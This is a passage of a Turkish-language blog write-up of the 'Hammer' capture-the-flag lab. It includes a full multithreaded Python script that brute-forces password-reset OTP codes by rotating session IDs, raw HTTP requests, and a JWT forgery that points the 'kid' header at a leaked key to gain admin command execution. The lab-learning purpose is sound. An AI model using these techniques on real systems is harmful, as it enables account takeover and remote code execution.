Host: 10.10.142.41:1337<br># User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0<br># Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br># Accept-Language: en-US,en;q=0.5<br># Accept-Encoding: gzip, deflate, br<br># Content-Type: application/x-www-form-urlencoded<br># Content-Length: 25<br># Origin: http://10.10.142.41:1337<br># Sec-GPC: 1<br># Connection: keep-alive<br># Referer: http://10.10.142.41:1337/reset_password.php<br># Cookie: PHPSESSID=cjlsml0heb6g2ed5bfnuhveki5<br># Upgrade-Insecure-Requests: 1<br># Priority: u=0, i<br># <br># email=tester%40hammer.thm<br><br># Adım 3: Aşağıdaki isteği 9 kere gönder, önceden belirlediğin olasılık listesindeki OTP kodlarıyla ve oluşturduğun phpsessid ile birlikte.<br><br># POST /reset_password.php HTTP/1.1<br># Host: 10.10.142.41:1337<br># User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0<br># Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br># Accept-Language: en-US,en;q=0.5<br># Accept-Encoding: gzip, deflate, br<br># Content-Type: application/x-www-form-urlencoded<br># Content-Length: 25<br># Origin: http://10.10.142.41:1337<br># Sec-GPC: 1<br># Connection: keep-alive<br># Referer: http://10.10.142.41:1337/reset_password.php<br># Cookie: PHPSESSID=cjlsml0heb6g2ed5bfnuhveki1<br># Upgrade-Insecure-Requests: 1<br># Priority: u=0, i<br># <br># recovery_code=5555&amp;s=3467<br><br># Adım 4: Adım 1&#39;e geri dön.<br><br><br>import requests<br>import threading<br>import string<br>import random<br>from colorama import init, Fore<br><br>init()<br><br><br># TODO: Update machine ip<br>machine_ip = &quot;10.10.35.22&quot;<br>otp_found = False<br>workers = []<br><br><br>def generate_random_phpsessid():<br>    char_set = string.ascii_letters + string.digits<br>    random_phpsessid_list = random.choices(char_set, k=26)<br>    random_phpsessid = &quot;&quot;.join(random_phpsessid_list)<br>    return random_phpsessid<br><br>def generate_new_otp_code(phpsessid):<br>    url = f&quot;http://{machine_ip}:1337/reset_password.php&quot;<br>    headers = {<br>        &quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0&quot;,<br>        &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;,<br>        &quot;Accept-Language&quot;: &quot;en-US,en;q=0.5&quot;,<br>        &quot;Accept-Encoding&quot;: &quot;gzip, deflate, br&quot;,<br>        &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br>        &quot;Origin&quot;: &quot;http://10.10.142.41:1337&quot;,<br>        &quot;Sec-GPC&quot;: &quot;1&quot;,<br>        &quot;Connection&quot;: &quot;keep-alive&quot;,<br>        &quot;Referer&quot;: &quot;http://10.10.142.41:1337/reset_password.php&quot;,<br>        &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;,<br>        &quot;Priority&quot;: &quot;u=0, i&quot;<br>    }<br>    cookies = {<br>        &quot;PHPSESSID&quot;: phpsessid<br>    }<br>    data = {<br>        &quot;email&quot;: &quot;tester@hammer.thm&quot;<br>    }<br><br>    response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)<br>    # print(response.text)<br>    if not response.status_code == 302:<br>        print(Fore.RED + f&quot;[-] Error on password reset request.\n\n---------------------------{response.text}---------------------------&quot;)<br>        return False<br>    <br>    return True<br><br><br>def guess_otp_code(phpsessid):<br>    otp_codes_to_be_guessed = [1234, 3456, 6789, 8765, 5678, 9999, 4731, 2864, 4715]<br>    url = f&quot;http://{machine_ip}:1337/reset_password.php&quot;<br>    headers = {<br>        &quot;User-Agent&quot;: &quot;Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0&quot;,<br>        &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;,<br>        &quot;Accept-Language&quot;: &quot;en-US,en;q=0.5&quot;,<br>        &quot;Accept-Encoding&quot;: &quot;gzip, deflate, br&quot;,<br>        &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot;,<br>        &quot;Origin&quot;: f&quot;http://{machine_ip}:1337&quot;,<br>        &quot;Sec-GPC&quot;: &quot;1&quot;,<br>        &quot;Connection&quot;: &quot;keep-alive&quot;,<br>        &quot;Referer&quot;: f&quot;http://{machine_ip}:1337/reset_password.php&quot;,<br>        &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;,<br>        &quot;Priority&quot;: &quot;u=0, i&quot;<br>    }<br>    cookies = {<br>        &quot;PHPSESSID&quot;: phpsessid<br>    }<br><br>    for i in range(8):<br>        data = {<br>            &quot;recovery_code&quot;: otp_codes_to_be_guessed[i],<br>            &quot;s&quot;: 180<br>        }<br>        print(Fore.CYAN + f&quot;[+]Trying OTP {otp_codes_to_be_guessed[i]} with session: {phpsessid}&quot;)<br>        response = requests.post(url, headers=headers, cookies=cookies, data=data)<br>        if &quot;Invalid&quot; in response.text:<br>            print(Fore.RED + f&quot;[-] Invalid OTP: {otp_codes_to_be_guessed[i]}&quot;)<br>            continue<br>        else:<br>            print(Fore.LIGHTGREEN_EX + f&quot;[!!!] OTP code has been found: {otp_codes_to_be_guessed[i]}\n[+] Session is: {phpsessid}\n\n---------------------------\n\n{response.text}\n\n---------------------------&quot;)<br>            otp_found = True<br>            for worker in workers:<br>                worker.join()<br>            return True<br>        <br>    return False<br><br>def crack_otp_main():<br>    while True:<br>        if otp_found:<br>            break<br>        random_phpsessid = generate_random_phpsessid()<br>        generate_new_otp_code(random_phpsessid)<br>        guess_otp_code(random_phpsessid)<br><br><br>for i in range(100):<br>    t = threading.Thread(target=crack_otp_main)<br>    t.start()<br>    workers.append(t)</pre><p>Çalıştırıp biraz bekledikten sonra görüldüğü üzere, web sunucusuna bizim belirlediğimiz 9 adet OTP kodundan birini ürettirmeyi başarıyorum:</p><pre>[!!!] OTP code has been found: 3456<br>[+] Session is: gTtCmsfxNJMuBZWuu3tAunhoLY<br>- - - - - - - - - - - - - -<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>&lt;meta charset=&quot;UTF-8&quot;&gt;<br>&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>&lt;title&gt;Reset Password&lt;/title&gt;<br>&lt;link href=&quot;/hmr_css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;<br>&lt;script src=&quot;/hrm_js/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;<br>&lt;script&gt;<br>let countdownv = 180;<br>function startCountdown() {<br>let timerElement = document.getElementById(&quot;countdown&quot;);<br>const hiddenField = document.getElementById(&quot;s&quot;);<br>let interval = setInterval(function() {<br>countdownv - ;<br>hiddenField.value = countdownv;<br>if (countdownv &lt;= 0) {<br>clearInterval(interval);<br>//alert(&quot;hello&quot;);<br>window.location.href = &#39;logout.php&#39;;<br>}<br>timerElement.textContent = &quot;You have &quot; + countdownv + &quot; seconds to enter your code.&quot;;<br>}, 1000);<br>}<br>&lt;/script&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>&lt;div class=&quot;container mt-5&quot;&gt;<br>&lt;div class=&quot;row justify-content-center&quot;&gt;<br>&lt;div class=&quot;col-md-4&quot;&gt;<br>&lt;h3 class=&quot;text-center&quot;&gt;Reset Your Password&lt;/h3&gt;<br>&lt;form method=&quot;POST&quot; action=&quot;&quot;&gt;<br>&lt;div class=&quot;mb-3&quot;&gt;<br>&lt;label for=&quot;new_password&quot; class=&quot;form-label&quot;&gt;New Password&lt;/label&gt;<br>&lt;input type=&quot;password&quot; class=&quot;form-control&quot; id=&quot;new_password&quot; name=&quot;new_password&quot; required&gt;<br>&lt;/div&gt;<br>&lt;div class=&quot;mb-3&quot;&gt;<br>&lt;label for=&quot;confirm_password&quot; class=&quot;form-label&quot;&gt;Confirm New Password&lt;/label&gt;<br>&lt;input type=&quot;password&quot; class=&quot;form-control&quot; id=&quot;confirm_password&quot; name=&quot;confirm_password&quot; required&gt;<br>&lt;/div&gt;<br>&lt;button type=&quot;submit&quot; class=&quot;btn btn-primary w-100&quot;&gt;Reset Password&lt;/button&gt; &lt;p&gt;&lt;/p&gt;<br>&lt;button type=&quot;button&quot; class=&quot;btn btn-primary w-100&quot; style=&quot;background-color: red; border-color: red;&quot; onclick=&quot;window.location.href=&#39;logout.php&#39;;&quot;&gt;Cancel&lt;/button&gt;<br>&lt;/form&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>- - - - - - - - - - - - - -</pre><p>Bulduğum session’u alıp tarayıcımda değiştiriyorum ve sayfayı yeniliyorum. Önüme, benden yeni şifreyi isteyen bir sayfa geliyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Je75BU8X5SM5EQBUSbTXlg.png" /><figcaption>Yeni şifreyi isteyen sayfa</figcaption></figure><p>Buraya istediğim şifreyi yazıp şifreyi değiştirmiş oluyorum ve belirlediğim şifreyle giriş yapıyorum ve ilk bayrak önüme çıkıyor:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8e0437Wtwhg7NbTs7o3Gew.png" /><figcaption>İlk bayrağımız</figcaption></figure><p>4-) RCE</p><p>Dashboard’a girdiğimiz anda bizi komut girmemizi bekleyen bir yer karşılıyor.</p><p>Sistemde sanırım RCE açığı var çünkü labın açıklamasında şu yazmakta:</p><p><em>With the Hammer in hand, can you bypass the authentication mechanisms and get RCE on the system?</em></p><p>Fakat komutu giremeden otomatik olarak /index.php’ye yönlendiriliyoruz ve tekrar giriş yapmamız isteniyor.</p><p>Bu davranış neden oluyor diye bir süre araştırdım ve bu davranışa biraz sinir oldum. Daha sonra, /dashboard.php’nin kaynak koduna baktığımda nedeni gördüm:</p><pre>        &lt;script&gt;<br>        <br>            function getCookie(name) {<br>                const value = `; ${document.cookie}`;<br>                const parts = value.split(`; ${name}=`);<br>                if (parts.length === 2) return parts.pop().split(&#39;;&#39;).shift();<br>            }<br><br>        <br>            function checkTrailUserCookie() {<br>                const trailUser = getCookie(&#39;persistentSession&#39;);<br>                if (!trailUser) {<br>            <br>                    window.location.href = &#39;logout.php&#39;;<br>                }<br>            }<br><br>        <br>            setInterval(checkTrailUserCookie, 1000); <br>        &lt;/script&gt;</pre><p>Bu javascript kodu, cookie’lerimizde persistentSession cookie’sini arıyor. Eğer böyle bir cookie yoksa(not exist), bizi logout.php’ye yönlendiriyor. Dolayısıyla tekrar giriş yapmamız gerekiyor.</p><p>Fakat burada şöyle bir mevzu var: Bizim persistentSession cookie’miz zaten set ediliyor giriş yaptığımız zaman:</p><pre>POST / HTTP/1.1<br>Host: 10.10.40.76:1337<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate, br<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 42<br>Origin: http://10.10.40.76:1337<br>Sec-GPC: 1<br>Connection: keep-alive<br>Referer: http://10.10.40.76:1337/<br>Cookie: PHPSESSID=157hoe685trjkn4f1mma0n5nqf<br>Upgrade-Insecure-Requests: 1<br>Priority: u=0, i<br><br>email=tester%40hammer.thm&amp;password=test123</pre><p>Yanıt:</p><pre>HTTP/1.1 302 Found<br>Date: Mon, 20 Oct 2025 13:44:05 GMT<br>Server: Apache/2.4.41 (Ubuntu)<br>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br>Cache-Control: no-store, no-cache, must-revalidate<br>Pragma: no-cache<br>Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYwOTY3ODQ1LCJleHAiOjE3NjA5NzE0NDUsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.EbtkYDTuQ_tYPYuafEnz74SzfeXHVDDpMauHK1Mq9xg; expires=Mon, 20-Oct-2025 13:54:05 GMT; Max-Age=600; path=/<br>Set-Cookie: persistentSession=no; expires=Mon, 20-Oct-2025 13:44:25 GMT; Max-Age=20; path=/<br>Location: dashboard.php<br>Content-Length: 0<br>Keep-Alive: timeout=5, max=100<br>Connection: Keep-Alive<br>Content-Type: text/html; charset=UTF-8</pre><p>Yanıtta görüldüğü üzere, persistentSession=no olarak set ediliyor. “no” olarak set edilmesi olumsuz bir görüntü yaratabilir fakat bu javascript kodu sadece bu cookie’nin olup olmadığına bakmakta, değerine değil. Buradaki asıl olay cookie’den sonra gelen Max-Age değeri. Bu değer 20&#39;ye ayarlanmış. Yani yanıt geldikten 20 saniye sonra bizim persistentSession cookie’miz siliniyor.</p><p>E dolayısıyla da çalışan javascript fonksiyonu bizim persistentSession cookie’mizi göremeyince bizi logout.php’ye yönlendiriyor.</p><p>Bu durumda hemen aklıma, yanıtı intercept edip persistentSession’daki Max-Age değerini yüksek bir değer yapmak geliyor ve bunu yaptığımda script artık beni logout.php’ye atmıyor.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*XS5Ifb9iXvCyT4KDNpF4ow.png" /><figcaption>persistentSession cookie’sindeki Max-Age değerini manipüle ediyoruz.</figcaption></figure><p>Şimdi komut çalıştırma ekranındayız. Burada “ls” harici bir komut çalıştıramıyorum malesef. <strong>**Bunu atlatmanın bir yolunu bulmam lazım.**</strong></p><p>Düşüncem bu şekildeydi, fakat biraz bypass tekniği denedikten sonra hiçbiri işe yaramadı. Sonradan fark ettim ki “ls” komutunun çıktısında büyük haritayı kaçırdığımı fark ettim:</p><pre>        {&quot;output&quot;:&quot;188ade1.key\ncomposer.json\nconfig.php\ndashboard.php\nexecute_command.php\nhmr_css\nhmr_images\nhmr_js\nhmr_logs\nindex.php\nlogout.php\nreset_password.php\nvendor\n&quot;}</pre><p>Şu anda /var/www/html dizinindeyiz çünkü burada /dashboard.php gibi dizinleri görmekteyiz. Burada önemli bir dosya dikkatimi çekti: 188ade1.key dosyası, bu dosyaya URL ile erişip kendi makineme indiriyorum(http://10.10.40.76:1337/188ade1.key) ve içeriğini okuyorum.</p><blockquote>56058354efb3daa97ebab00fabd7a7d7</blockquote><p>Bu key, neyin anahtarı? Bunu bulmam lazım. MD5 bir hash’e benziyor. İlk olarak bu hash’i kırmaya çalıştım fakat nafile. Kısa bir araştırmanın ardından, web uygulamasının bana verdiği JWT gözüme çarpıyor:</p><blockquote>eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYwOTkyOTY3LCJleHAiOjE3NjA5OTY1NjcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.ms6SGcvt7SiJMd_PMBsQUKNtjItM2nX1vSLtyQgtWuI</blockquote><p>Decode ettiğimde:</p><blockquote>HEAD: {“typ”:”JWT”,”alg”:”HS256&quot;,”kid”:”/var/www/mykey.key”}</blockquote><blockquote>PAYLOAD: {“iss”:”http://hammer.thm&quot;,&quot;aud&quot;:&quot;http://hammer.thm&quot;,&quot;iat&quot;:1760992967,&quot;exp&quot;:1760996567,&quot;data&quot;:{&quot;user_id&quot;:1,&quot;email&quot;:&quot;tester@hammer.thm&quot;,&quot;role&quot;:&quot;user&quot;}}</blockquote><p>Bu verilere erişmiş oluyorum. Burada JWT,</p><p>+ head kısmında belirttiği alg ile HS256 kullanarak simetrik imza doğrulaması yapılmakta. kid ile verilen konumdaki dosyadaki key’i kullanarak JWT imzasını decrypt edip doğruluyor.</p><p>+ payload kısmındaki role de önemli. Eğer burayı “admin” değeriyle değiştirebilirsek, web sunucusunda daha yüksek yetkilerimiz olabilir(daha iyi fonksiyonel özellikler vesaire).</p><p>Şimdi burada şöyle bir atak senaryosu aklıma geliyor:</p><p>+ Bizde halihazırda elde ettiğimiz bir key var(188ade1.key) ve bunun konumunu da biliyoruz(/var/www/html/188ade1.key). Eğer JWT’nin head kısmındaki kid değerini, bulduğumuz bu key ile değiştirsek, bu durumda JWT, /var/www/mykey.key ile decrypt ve imza doğrulaması yapmak yerine bizde olan /var/www/html/188ade1.key’i kullanarak decrypt ve imza doğrulaması yapacaktır. Bu durumda, manuel olarak kendi token’ımızı oluşturup bunu JWT’ye kolayca imzalatabiliriz.</p><p>+ İmzalatma işi tamam da bu imzalatma yetkisi bizim ne işimize yarayacak? Tahmin ettiğiniz gibi role değerini “admin” olarak değiştirip bir token oluşturacağız.</p><p>Hemen bunu uygulamaya koyuyorum:</p><p><a href="https://www.jwt.io/">https://www.jwt.io</a> adresinden token’ı oluşturuyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GpYZAZygdtCnbUpNzkf_tQ.png" /><figcaption>Yeni token’ın jwt.io’dan oluşturulması</figcaption></figure><p>/execute_command.php’de kullanılan JWT token’ını değiştiriyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D__P8hL8RP3ujFwCc_3PBA.png" /><figcaption>Değiştirilmeden önce</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtXC5_deHr6gRMP5_xuN4w.png" /><figcaption>Değiştirildikten sonra</figcaption></figure><p>Görüldüğü üzere, token’ımız geçerli kabul edildi ve artık istediğimiz herhangi bir komutu çalıştırabiliyoruz. Son bayrağı almak için “cat /home/ubuntu/flag.txt” komutunu giriyorum ve son bayrağı da alıyorum:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*raGK-qGjWR_DJeIWpB-LkQ.png" /><figcaption>Son bayrağın alınması</figcaption></figure><p>5-) Değerlendirme</p><p>Çözerken gerçekten zevk aldığım bir CTF’ti ve çözdükten sonra dopamin şelalesinde yıkandım. Kesinlikle authentication zaafiyetleri öğrenildikten sonra, öğrenilenlerin test edilmesi için çözülmesi gereken bir CTF. Yetki yükseltme kısmı da olsa çok güzel olurdu.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b708c8534fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>